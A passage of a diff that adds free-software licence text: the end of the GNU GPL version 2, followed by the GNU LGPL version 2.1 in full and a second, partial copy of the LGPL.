+may add an explicit geographical distribution limitation excluding
+those countries, so that distribution is permitted only in or among
+countries not thus excluded.  In such case, this License incorporates
+the limitation as if written in the body of this License.
+
+  9. The Free Software Foundation may publish revised and/or new versions
+of the General Public License from time to time.  Such new versions will
+be similar in spirit to the present version, but may differ in detail to
+address new problems or concerns.
+
+Each version is given a distinguishing version number.  If the Program
+specifies a version number of this License which applies to it and "any
+later version", you have the option of following the terms and conditions
+either of that version or of any later version published by the Free
+Software Foundation.  If the Program does not specify a version number of
+this License, you may choose any version ever published by the Free Software
+Foundation.
+
+  10. If you wish to incorporate parts of the Program into other free
+programs whose distribution conditions are different, write to the author
+to ask for permission.  For software which is copyrighted by the Free
+Software Foundation, write to the Free Software Foundation; we sometimes
+make exceptions for this.  Our decision will be guided by the two goals
+of preserving the free status of all derivatives of our free software and
+of promoting the sharing and reuse of software generally.
+
+			    NO WARRANTY
+
+  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
+FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
+OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
+PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
+OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
+MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
+TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
+PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
+REPAIR OR CORRECTION.
+
+  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
+REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
+INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
+OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
+TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
+YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
+PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
+POSSIBILITY OF SUCH DAMAGES.
+
+		     END OF TERMS AND CONDITIONS
+
+	    How to Apply These Terms to Your New Programs
+
+  If you develop a new program, and you want it to be of the greatest
+possible use to the public, the best way to achieve this is to make it
+free software which everyone can redistribute and change under these terms.
+
+  To do so, attach the following notices to the program.  It is safest
+to attach them to the start of each source file to most effectively
+convey the exclusion of warranty; and each file should have at least
+the "copyright" line and a pointer to where the full notice is found.
+
+    <one line to give the program's name and a brief idea of what it does.>
+    Copyright (C) <year>  <name of author>
+
+    This program is free software; you can redistribute it and/or modify
+    it under the terms of the GNU General Public License as published by
+    the Free Software Foundation; either version 2 of the License, or
+    (at your option) any later version.
+
+    This program is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU General Public License for more details.
+
+    You should have received a copy of the GNU General Public License
+    along with this program; if not, write to the Free Software
+    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+
+
+Also add information on how to contact you by electronic and paper mail.
+
+If the program is interactive, make it output a short notice like this
+when it starts in an interactive mode:
+
+    Gnomovision version 69, Copyright (C) year name of author
+    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
+    This is free software, and you are welcome to redistribute it
+    under certain conditions; type `show c' for details.
+
+The hypothetical commands `show w' and `show c' should show the appropriate
+parts of the General Public License.  Of course, the commands you use may
+be called something other than `show w' and `show c'; they could even be
+mouse-clicks or menu items--whatever suits your program.
+
+You should also get your employer (if you work as a programmer) or your
+school, if any, to sign a "copyright disclaimer" for the program, if
+necessary.  Here is a sample; alter the names:
+
+  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
+  `Gnomovision' (which makes passes at compilers) written by James Hacker.
+
+  <signature of Ty Coon>, 1 April 1989
+  Ty Coon, President of Vice
+
+This General Public License does not permit incorporating your program into
+proprietary programs.  If your program is a subroutine library, you may
+consider it more useful to permit linking proprietary applications with the
+library.  If this is what you want to do, use the GNU Library General
+Public License instead of this License.
+		  GNU LESSER GENERAL PUBLIC LICENSE
+		       Version 2.1, February 1999
+
+ Copyright (C) 1991, 1999 Free Software Foundation, Inc.
+     51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+[This is the first released version of the Lesser GPL.  It also counts
+ as the successor of the GNU Library Public License, version 2, hence
+ the version number 2.1.]
+
+			    Preamble
+
+  The licenses for most software are designed to take away your
+freedom to share and change it.  By contrast, the GNU General Public
+Licenses are intended to guarantee your freedom to share and change
+free software--to make sure the software is free for all its users.
+
+  This license, the Lesser General Public License, applies to some
+specially designated software packages--typically libraries--of the
+Free Software Foundation and other authors who decide to use it.  You
+can use it too, but we suggest you first think carefully about whether
+this license or the ordinary General Public License is the better
+strategy to use in any particular case, based on the explanations below.
+
+  When we speak of free software, we are referring to freedom of use,
+not price.  Our General Public Licenses are designed to make sure that
+you have the freedom to distribute copies of free software (and charge
+for this service if you wish); that you receive source code or can get
+it if you want it; that you can change the software and use pieces of
+it in new free programs; and that you are informed that you can do
+these things.
+
+  To protect your rights, we need to make restrictions that forbid
+distributors to deny you these rights or to ask you to surrender these
+rights.  These restrictions translate to certain responsibilities for
+you if you distribute copies of the library or if you modify it.
+
+  For example, if you distribute copies of the library, whether gratis
+or for a fee, you must give the recipients all the rights that we gave
+you.  You must make sure that they, too, receive or can get the source
+code.  If you link other code with the library, you must provide
+complete object files to the recipients, so that they can relink them
+with the library after making changes to the library and recompiling
+it.  And you must show them these terms so they know their rights.
+
+  We protect your rights with a two-step method: (1) we copyright the
+library, and (2) we offer you this license, which gives you legal
+permission to copy, distribute and/or modify the library.
+
+  To protect each distributor, we want to make it very clear that
+there is no warranty for the free library.  Also, if the library is
+modified by someone else and passed on, the recipients should know
+that what they have is not the original version, so that the original
+author's reputation will not be affected by problems that might be
+introduced by others.
+
+  Finally, software patents pose a constant threat to the existence of
+any free program.  We wish to make sure that a company cannot
+effectively restrict the users of a free program by obtaining a
+restrictive license from a patent holder.  Therefore, we insist that
+any patent license obtained for a version of the library must be
+consistent with the full freedom of use specified in this license.
+
+  Most GNU software, including some libraries, is covered by the
+ordinary GNU General Public License.  This license, the GNU Lesser
+General Public License, applies to certain designated libraries, and
+is quite different from the ordinary General Public License.  We use
+this license for certain libraries in order to permit linking those
+libraries into non-free programs.
+
+  When a program is linked with a library, whether statically or using
+a shared library, the combination of the two is legally speaking a
+combined work, a derivative of the original library.  The ordinary
+General Public License therefore permits such linking only if the
+entire combination fits its criteria of freedom.  The Lesser General
+Public License permits more lax criteria for linking other code with
+the library.
+
+  We call this license the "Lesser" General Public License because it
+does Less to protect the user's freedom than the ordinary General
+Public License.  It also provides other free software developers Less
+of an advantage over competing non-free programs.  These disadvantages
+are the reason we use the ordinary General Public License for many
+libraries.  However, the Lesser license provides advantages in certain
+special circumstances.
+
+  For example, on rare occasions, there may be a special need to
+encourage the widest possible use of a certain library, so that it becomes
+a de-facto standard.  To achieve this, non-free programs must be
+allowed to use the library.  A more frequent case is that a free
+library does the same job as widely used non-free libraries.  In this
+case, there is little to gain by limiting the free library to free
+software only, so we use the Lesser General Public License.
+
+  In other cases, permission to use a particular library in non-free
+programs enables a greater number of people to use a large body of
+free software.  For example, permission to use the GNU C Library in
+non-free programs enables many more people to use the whole GNU
+operating system, as well as its variant, the GNU/Linux operating
+system.
+
+  Although the Lesser General Public License is Less protective of the
+users' freedom, it does ensure that the user of a program that is
+linked with the Library has the freedom and the wherewithal to run
+that program using a modified version of the Library.
+
+  The precise terms and conditions for copying, distribution and
+modification follow.  Pay close attention to the difference between a
+"work based on the library" and a "work that uses the library".  The
+former contains code derived from the library, whereas the latter must
+be combined with the library in order to run.
+
+		  GNU LESSER GENERAL PUBLIC LICENSE
+   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
+
+  0. This License Agreement applies to any software library or other
+program which contains a notice placed by the copyright holder or
+other authorized party saying it may be distributed under the terms of
+this Lesser General Public License (also called "this License").
+Each licensee is addressed as "you".
+
+  A "library" means a collection of software functions and/or data
+prepared so as to be conveniently linked with application programs
+(which use some of those functions and data) to form executables.
+
+  The "Library", below, refers to any such software library or work
+which has been distributed under these terms.  A "work based on the
+Library" means either the Library or any derivative work under
+copyright law: that is to say, a work containing the Library or a
+portion of it, either verbatim or with modifications and/or translated
+straightforwardly into another language.  (Hereinafter, translation is
+included without limitation in the term "modification".)
+
+  "Source code" for a work means the preferred form of the work for
+making modifications to it.  For a library, complete source code means
+all the source code for all modules it contains, plus any associated
+interface definition files, plus the scripts used to control compilation
+and installation of the library.
+
+  Activities other than copying, distribution and modification are not
+covered by this License; they are outside its scope.  The act of
+running a program using the Library is not restricted, and output from
+such a program is covered only if its contents constitute a work based
+on the Library (independent of the use of the Library in a tool for
+writing it).  Whether that is true depends on what the Library does
+and what the program that uses the Library does.
+  
+  1. You may copy and distribute verbatim copies of the Library's
+complete source code as you receive it, in any medium, provided that
+you conspicuously and appropriately publish on each copy an
+appropriate copyright notice and disclaimer of warranty; keep intact
+all the notices that refer to this License and to the absence of any
+warranty; and distribute a copy of this License along with the
+Library.
+
+  You may charge a fee for the physical act of transferring a copy,
+and you may at your option offer warranty protection in exchange for a
+fee.
+
+  2. You may modify your copy or copies of the Library or any portion
+of it, thus forming a work based on the Library, and copy and
+distribute such modifications or work under the terms of Section 1
+above, provided that you also meet all of these conditions:
+
+    a) The modified work must itself be a software library.
+
+    b) You must cause the files modified to carry prominent notices
+    stating that you changed the files and the date of any change.
+
+    c) You must cause the whole of the work to be licensed at no
+    charge to all third parties under the terms of this License.
+
+    d) If a facility in the modified Library refers to a function or a
+    table of data to be supplied by an application program that uses
+    the facility, other than as an argument passed when the facility
+    is invoked, then you must make a good faith effort to ensure that,
+    in the event an application does not supply such function or
+    table, the facility still operates, and performs whatever part of
+    its purpose remains meaningful.
+
+    (For example, a function in a library to compute square roots has
+    a purpose that is entirely well-defined independent of the
+    application.  Therefore, Subsection 2d requires that any
+    application-supplied function or table used by this function must
+    be optional: if the application does not supply it, the square
+    root function must still compute square roots.)
+
+These requirements apply to the modified work as a whole.  If
+identifiable sections of that work are not derived from the Library,
+and can be reasonably considered independent and separate works in
+themselves, then this License, and its terms, do not apply to those
+sections when you distribute them as separate works.  But when you
+distribute the same sections as part of a whole which is a work based
+on the Library, the distribution of the whole must be on the terms of
+this License, whose permissions for other licensees extend to the
+entire whole, and thus to each and every part regardless of who wrote
+it.
+
+Thus, it is not the intent of this section to claim rights or contest
+your rights to work written entirely by you; rather, the intent is to
+exercise the right to control the distribution of derivative or
+collective works based on the Library.
+
+In addition, mere aggregation of another work not based on the Library
+with the Library (or with a work based on the Library) on a volume of
+a storage or distribution medium does not bring the other work under
+the scope of this License.
+
+  3. You may opt to apply the terms of the ordinary GNU General Public
+License instead of this License to a given copy of the Library.  To do
+this, you must alter all the notices that refer to this License, so
+that they refer to the ordinary GNU General Public License, version 2,
+instead of to this License.  (If a newer version than version 2 of the
+ordinary GNU General Public License has appeared, then you can specify
+that version instead if you wish.)  Do not make any other change in
+these notices.
+
+  Once this change is made in a given copy, it is irreversible for
+that copy, so the ordinary GNU General Public License applies to all
+subsequent copies and derivative works made from that copy.
+
+  This option is useful when you wish to copy part of the code of
+the Library into a program that is not a library.
+
+  4. You may copy and distribute the Library (or a portion or
+derivative of it, under Section 2) in object code or executable form
+under the terms of Sections 1 and 2 above provided that you accompany
+it with the complete corresponding machine-readable source code, which
+must be distributed under the terms of Sections 1 and 2 above on a
+medium customarily used for software interchange.
+
+  If distribution of object code is made by offering access to copy
+from a designated place, then offering equivalent access to copy the
+source code from the same place satisfies the requirement to
+distribute the source code, even though third parties are not
+compelled to copy the source along with the object code.
+
+  5. A program that contains no derivative of any portion of the
+Library, but is designed to work with the Library by being compiled or
+linked with it, is called a "work that uses the Library".  Such a
+work, in isolation, is not a derivative work of the Library, and
+therefore falls outside the scope of this License.
+
+  However, linking a "work that uses the Library" with the Library
+creates an executable that is a derivative of the Library (because it
+contains portions of the Library), rather than a "work that uses the
+library".  The executable is therefore covered by this License.
+Section 6 states terms for distribution of such executables.
+
+  When a "work that uses the Library" uses material from a header file
+that is part of the Library, the object code for the work may be a
+derivative work of the Library even though the source code is not.
+Whether this is true is especially significant if the work can be
+linked without the Library, or if the work is itself a library.  The
+threshold for this to be true is not precisely defined by law.
+
+  If such an object file uses only numerical parameters, data
+structure layouts and accessors, and small macros and small inline
+functions (ten lines or less in length), then the use of the object
+file is unrestricted, regardless of whether it is legally a derivative
+work.  (Executables containing this object code plus portions of the
+Library will still fall under Section 6.)
+
+  Otherwise, if the work is a derivative of the Library, you may
+distribute the object code for the work under the terms of Section 6.
+Any executables containing that work also fall under Section 6,
+whether or not they are linked directly with the Library itself.
+
+  6. As an exception to the Sections above, you may also combine or
+link a "work that uses the Library" with the Library to produce a
+work containing portions of the Library, and distribute that work
+under terms of your choice, provided that the terms permit
+modification of the work for the customer's own use and reverse
+engineering for debugging such modifications.
+
+  You must give prominent notice with each copy of the work that the
+Library is used in it and that the Library and its use are covered by
+this License.  You must supply a copy of this License.  If the work
+during execution displays copyright notices, you must include the
+copyright notice for the Library among them, as well as a reference
+directing the user to the copy of this License.  Also, you must do one
+of these things:
+
+    a) Accompany the work with the complete corresponding
+    machine-readable source code for the Library including whatever
+    changes were used in the work (which must be distributed under
+    Sections 1 and 2 above); and, if the work is an executable linked
+    with the Library, with the complete machine-readable "work that
+    uses the Library", as object code and/or source code, so that the
+    user can modify the Library and then relink to produce a modified
+    executable containing the modified Library.  (It is understood
+    that the user who changes the contents of definitions files in the
+    Library will not necessarily be able to recompile the application
+    to use the modified definitions.)
+
+    b) Use a suitable shared library mechanism for linking with the
+    Library.  A suitable mechanism is one that (1) uses at run time a
+    copy of the library already present on the user's computer system,
+    rather than copying library functions into the executable, and (2)
+    will operate properly with a modified version of the library, if
+    the user installs one, as long as the modified version is
+    interface-compatible with the version that the work was made with.
+
+    c) Accompany the work with a written offer, valid for at
+    least three years, to give the same user the materials
+    specified in Subsection 6a, above, for a charge no more
+    than the cost of performing this distribution.
+
+    d) If distribution of the work is made by offering access to copy
+    from a designated place, offer equivalent access to copy the above
+    specified materials from the same place.
+
+    e) Verify that the user has already received a copy of these
+    materials or that you have already sent this user a copy.
+
+  For an executable, the required form of the "work that uses the
+Library" must include any data and utility programs needed for
+reproducing the executable from it.  However, as a special exception,
+the materials to be distributed need not include anything that is
+normally distributed (in either source or binary form) with the major
+components (compiler, kernel, and so on) of the operating system on
+which the executable runs, unless that component itself accompanies
+the executable.
+
+  It may happen that this requirement contradicts the license
+restrictions of other proprietary libraries that do not normally
+accompany the operating system.  Such a contradiction means you cannot
+use both them and the Library together in an executable that you
+distribute.
+
+  7. You may place library facilities that are a work based on the
+Library side-by-side in a single library together with other library
+facilities not covered by this License, and distribute such a combined
+library, provided that the separate distribution of the work based on
+the Library and of the other library facilities is otherwise
+permitted, and provided that you do these two things:
+
+    a) Accompany the combined library with a copy of the same work
+    based on the Library, uncombined with any other library
+    facilities.  This must be distributed under the terms of the
+    Sections above.
+
+    b) Give prominent notice with the combined library of the fact
+    that part of it is a work based on the Library, and explaining
+    where to find the accompanying uncombined form of the same work.
+
+  8. You may not copy, modify, sublicense, link with, or distribute
+the Library except as expressly provided under this License.  Any
+attempt otherwise to copy, modify, sublicense, link with, or
+distribute the Library is void, and will automatically terminate your
+rights under this License.  However, parties who have received copies,
+or rights, from you under this License will not have their licenses
+terminated so long as such parties remain in full compliance.
+
+  9. You are not required to accept this License, since you have not
+signed it.  However, nothing else grants you permission to modify or
+distribute the Library or its derivative works.  These actions are
+prohibited by law if you do not accept this License.  Therefore, by
+modifying or distributing the Library (or any work based on the
+Library), you indicate your acceptance of this License to do so, and
+all its terms and conditions for copying, distributing or modifying
+the Library or works based on it.
+
+  10. Each time you redistribute the Library (or any work based on the
+Library), the recipient automatically receives a license from the
+original licensor to copy, distribute, link with or modify the Library
+subject to these terms and conditions.  You may not impose any further
+restrictions on the recipients' exercise of the rights granted herein.
+You are not responsible for enforcing compliance by third parties with
+this License.
+
+  11. If, as a consequence of a court judgment or allegation of patent
+infringement or for any other reason (not limited to patent issues),
+conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License.  If you cannot
+distribute so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you
+may not distribute the Library at all.  For example, if a patent
+license would not permit royalty-free redistribution of the Library by
+all those who receive copies directly or indirectly through you, then
+the only way you could satisfy both it and this License would be to
+refrain entirely from distribution of the Library.
+
+If any portion of this section is held invalid or unenforceable under any
+particular circumstance, the balance of the section is intended to apply,
+and the section as a whole is intended to apply in other circumstances.
+
+It is not the purpose of this section to induce you to infringe any
+patents or other property right claims or to contest validity of any
+such claims; this section has the sole purpose of protecting the
+integrity of the free software distribution system which is
+implemented by public license practices.  Many people have made
+generous contributions to the wide range of software distributed
+through that system in reliance on consistent application of that
+system; it is up to the author/donor to decide if he or she is willing
+to distribute software through any other system and a licensee cannot
+impose that choice.
+
+This section is intended to make thoroughly clear what is believed to
+be a consequence of the rest of this License.
+
+  12. If the distribution and/or use of the Library is restricted in
+certain countries either by patents or by copyrighted interfaces, the
+original copyright holder who places the Library under this License may add
+an explicit geographical distribution limitation excluding those countries,
+so that distribution is permitted only in or among countries not thus
+excluded.  In such case, this License incorporates the limitation as if
+written in the body of this License.
+
+  13. The Free Software Foundation may publish revised and/or new
+versions of the Lesser General Public License from time to time.
+Such new versions will be similar in spirit to the present version,
+but may differ in detail to address new problems or concerns.
+
+Each version is given a distinguishing version number.  If the Library
+specifies a version number of this License which applies to it and
+"any later version", you have the option of following the terms and
+conditions either of that version or of any later version published by
+the Free Software Foundation.  If the Library does not specify a
+license version number, you may choose any version ever published by
+the Free Software Foundation.
+
+  14. If you wish to incorporate parts of the Library into other free
+programs whose distribution conditions are incompatible with these,
+write to the author to ask for permission.  For software which is
+copyrighted by the Free Software Foundation, write to the Free
+Software Foundation; we sometimes make exceptions for this.  Our
+decision will be guided by the two goals of preserving the free status
+of all derivatives of our free software and of promoting the sharing
+and reuse of software generally.
+
+			    NO WARRANTY
+
+  15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO
+WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW.
+EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR
+OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY
+KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE
+IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE
+LIBRARY IS WITH YOU.  SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME
+THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+  16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN
+WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY
+AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU
+FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR
+CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE
+LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING
+RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A
+FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF
+SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH
+DAMAGES.
+
+		     END OF TERMS AND CONDITIONS
+
+           How to Apply These Terms to Your New Libraries
+
+  If you develop a new library, and you want it to be of the greatest
+possible use to the public, we recommend making it free software that
+everyone can redistribute and change.  You can do so by permitting
+redistribution under these terms (or, alternatively, under the terms of the
+ordinary General Public License).
+
+  To apply these terms, attach the following notices to the library.  It is
+safest to attach them to the start of each source file to most effectively
+convey the exclusion of warranty; and each file should have at least the
+"copyright" line and a pointer to where the full notice is found.
+
+    <one line to give the library's name and a brief idea of what it does.>
+    Copyright (C) <year>  <name of author>
+
+    This library is free software; you can redistribute it and/or
+    modify it under the terms of the GNU Lesser General Public
+    License as published by the Free Software Foundation; either
+    version 2.1 of the License, or (at your option) any later version.
+
+    This library is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+    Lesser General Public License for more details.
+
+    You should have received a copy of the GNU Lesser General Public
+    License along with this library; if not, write to the Free Software
+    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+
+Also add information on how to contact you by electronic and paper mail.
+
+You should also get your employer (if you work as a programmer) or your
+school, if any, to sign a "copyright disclaimer" for the library, if
+necessary.  Here is a sample; alter the names:
+
+  Yoyodyne, Inc., hereby disclaims all copyright interest in the
+  library `Frob' (a library for tweaking knobs) written by James Random Hacker.
+
+  <signature of Ty Coon>, 1 April 1990
+  Ty Coon, President of Vice
+
+That's all there is to it!
+
+
+		  GNU LESSER GENERAL PUBLIC LICENSE
+		       Version 2.1, February 1999
+
+ Copyright (C) 1991, 1999 Free Software Foundation, Inc.
+     51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+[This is the first released version of the Lesser GPL.  It also counts
+ as the successor of the GNU Library Public License, version 2, hence
+ the version number 2.1.]
+
+			    Preamble
+
+  The licenses for most software are designed to take away your
+freedom to share and change it.  By contrast, the GNU General Public
+Licenses are intended to guarantee your freedom to share and change
+free software--to make sure the software is free for all its users.
+
+  This license, the Lesser General Public License, applies to some
+specially designated software packages--typically libraries--of the
+Free Software Foundation and other authors who decide to use it.  You
+can use it too, but we suggest you first think carefully about whether
+this license or the ordinary General Public License is the better
+strategy to use in any particular case, based on the explanations below.
+
+  When we speak of free software, we are referring to freedom of use,
+not price.  Our General Public Licenses are designed to make sure that
+you have the freedom to distribute copies of free software (and charge
+for this service if you wish); that you receive source code or can get
+it if you want it; that you can change the software and use pieces of
+it in new free programs; and that you are informed that you can do
+these things.
+
+  To protect your rights, we need to make restrictions that forbid
+distributors to deny you these rights or to ask you to surrender these
+rights.  These restrictions translate to certain responsibilities for
+you if you distribute copies of the library or if you modify it.
+
+  For example, if you distribute copies of the library, whether gratis
+or for a fee, you must give the recipients all the rights that we gave
+you.  You must make sure that they, too, receive or can get the source
+code.  If you link other code with the library, you must provide
+complete object files to the recipients, so that they can relink them
+with the library after making changes to the library and recompiling
+it.  And you must show them these terms so they know their rights.
+
+  We protect your rights with a two-step method: (1) we copyright the
+library, and (2) we offer you this license, which gives you legal
+permission to copy, distribute and/or modify the library.
+
+  To protect each distributor, we want to make it very clear that
+there is no warranty for the free library.  Also, if the library is
+modified by someone else and passed on, the recipients should know
+that what they have is not the original version, so that the original
+author's reputation will not be affected by problems that might be
+introduced by others.
+
+  Finally, software patents pose a constant threat to the existence of
+any free program.  We wish to make sure that a company cannot
+effectively restrict the users of a free program by obtaining a
+restrictive license from a patent holder.  Therefore, we insist that
+any patent license obtained for a version of the library must be
+consistent with the full freedom of use specified in this license.
+
+  Most GNU software, including some libraries, is covered by the
+ordinary GNU General Public License.  This license, the GNU Lesser
+General Public License, applies to certain designated libraries, and
+is quite different from the ordinary General Public License.  We use
+this license for certain libraries in order to permit linking those
+libraries into non-free programs.
+
+  When a program is linked with a library, whether statically or using
+a shared library, the combination of the two is legally speaking a
+combined work, a derivative of the original library.  The ordinary
+General Public License therefore permits such linking only if the
+entire combination fits its criteria of freedom.  The Lesser General
+Public License permits more lax criteria for linking other code with
+the library.
+
+  We call this license the "Lesser" General Public License because it
+does Less to protect the user's freedom than the ordinary General
+Public License.  It also provides other free software developers Less
+of an advantage over competing non-free programs.  These disadvantages
+are the reason we use the ordinary General Public License for many
+libraries.  However, the Lesser license provides advantages in certain
+special circumstances.
+
+  For example, on rare occasions, there may be a special need to
+encourage the widest possible use of a certain library, so that it becomes
+a de-facto standard.  To achieve this, non-free programs must be
+allowed to use the library.  A more frequent case is that a free
+library does the same job as widely used non-free libraries.  In this
+case, there is little to gain by limiting the free library to free
+software only, so we use the Lesser General Public License.
+
+  In other cases, permission to use a particular library in non-free
+programs enables a greater number of people to use a large body of
+free software.  For example, permission to use the GNU C Library in
+non-free programs enables many more people to use the whole GNU
+operating system, as well as its variant, the GNU/Linux operating
+system.
+
+  Although the Lesser General Public License is Less protective of the
+users' freedom, it does ensure that the user of a program that is
+linked with the Library has the freedom and the wherewithal to run
+that program using a modified version of the Library.
+
+  The precise terms and conditions for copying, distribution and
+modification follow.  Pay close attention to the difference between a
+"work based on the library" and a "work that uses the library".  The
+former contains code derived from the library, whereas the latter must
+be combined with the library in order to run.
+
+		  GNU LESSER GENERAL PUBLIC LICENSE
+   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
+
+  0. This License Agreement applies to any software library or other
+program which contains a notice placed by the copyright holder or
+other authorized party saying it may be distributed under the terms of
+this Lesser General Public License (also called "this License").
+Each licensee is addressed as "you".
+
+  A "library" means a collection of software functions and/or data
+prepared so as to be conveniently linked with application programs
+(which use some of those functions and data) to form executables.
+
+  The "Library", below, refers to any such software library or work
+which has been distributed under these terms.  A "work based on the
+Library" means either the Library or any derivative work under
+copyright law: that is to say, a work containing the Library or a
+portion of it, either verbatim or with modifications and/or translated
+straightforwardly into another language.  (Hereinafter, translation is
+included without limitation in the term "modification".)
+
+  "Source code" for a work means the preferred form of the work for
+making modifications to it.  For a library, complete source code means
+all the source code for all modules it contains, plus any associated
+interface definition files, plus the scripts used to control compilation
+and installation of the library.
+
+  Activities other than copying, distribution and modification are not
+covered by this License; they are outside its scope.  The act of
+running a program using the Library is not restricted, and output from
+such a program is covered only if its contents constitute a work based
+on the Library (independent of the use of the Library in a tool for
+writing it).  Whether that is true depends on what the Library does
+and what the program that uses the Library does.
+  
+  1. You may copy and distribute verbatim copies of the Library's
+complete source code as you receive it, in any medium, provided that
+you conspicuously and appropriately publish on each copy an
+appropriate copyright notice and disclaimer of warranty; keep intact
+all the notices that refer to this License and to the absence of any
+warranty; and distribute a copy of this License along with the
+Library.
+
+  You may charge a fee for the physical act of transferring a copy,
+and you may at your option offer warranty protection in exchange for a
+fee.
+
+  2. You may modify your copy or copies of the Library or any portion
+of it, thus forming a work based on the Library, and copy and
+distribute such modifications or work under the terms of Section 1
+above, provided that you also meet all of these conditions:
+
+    a) The modified work must itself be a software library.
+
+    b) You must cause the files modified to carry prominent notices
+    stating that you changed the files and the date of any change.
+
+    c) You must cause the whole of the work to be licensed at no
+    charge to all third parties under the terms of this License.
+
+    d) If a facility in the modified Library refers to a function or a
+    table of data to be supplied by an application program that uses
+    the facility, other than as an argument passed when the facility
+    is invoked, then you must make a good faith effort to ensure that,
+    in the event an application does not supply such function or
+    table, the facility still operates, and performs whatever part of
+    its purpose remains meaningful.
+
+    (For example, a function in a library to compute square roots has
+    a purpose that is entirely well-defined independent of the
+    application.  Therefore, Subsection 2d requires that any
+    application-supplied function or table used by this function must
+    be optional: if the application does not supply it, the square
+    root function must still compute square roots.)
+
+These requirements apply to the modified work as a whole.  If
+identifiable sections of that work are not derived from the Library,
+and can be reasonably considered independent and separate works in
+themselves, then this License, and its terms, do not apply to those
+sections when you distribute them as separate works.  But when you
+distribute the same sections as part of a whole which is a work based
+on the Library, the distribution of the whole must be on the terms of
+this License, whose permissions for other licensees extend to the
+entire whole, and thus to each and every part regardless of who wrote
+it.
+
+Thus, it is not the intent of this section to claim rights or contest
+your rights to work written entirely by you; rather, the intent is to
+exercise the right to control the distribution of derivative or
+collective works based on the Library.
+
+In addition, mere aggregation of another work not based on the Library
+with the Library (or with a work based on the Library) on a volume of
+a storage or distribution medium does not bring the other work under
+the scope of this License.
+
+  3. You may opt to apply the terms of the ordinary GNU General Public
+License instead of this License to a given copy of the Library.  To do
+this, you must alter all the notices that refer to this License, so
+that they refer to the ordinary GNU General Public License, version 2,
+instead of to this License.  (If a newer version than version 2 of the
+ordinary GNU General Public License has appeared, then you can specify
+that version instead if you wish.)  Do not make any other change in
+these notices.
+
+  Once this change is made in a given copy, it is irreversible for
+that copy, so the ordinary GNU General Public License applies to all
+subsequent copies and derivative works made from that copy.
+
+  This option is useful when you wish to copy part of the code of
+the Library into a program that is not a library.
+
+  4. You may copy and distribute the Library (or a portion or
+derivative of it, under Section 2) in object code or executable form
+under the terms of Sections 1 and 2 above provided that you accompany
+it with the complete corresponding machine-readable source code, which
+must be distributed under the terms of Sections 1 and 2 above on a
+medium customarily used for software interchange.
+
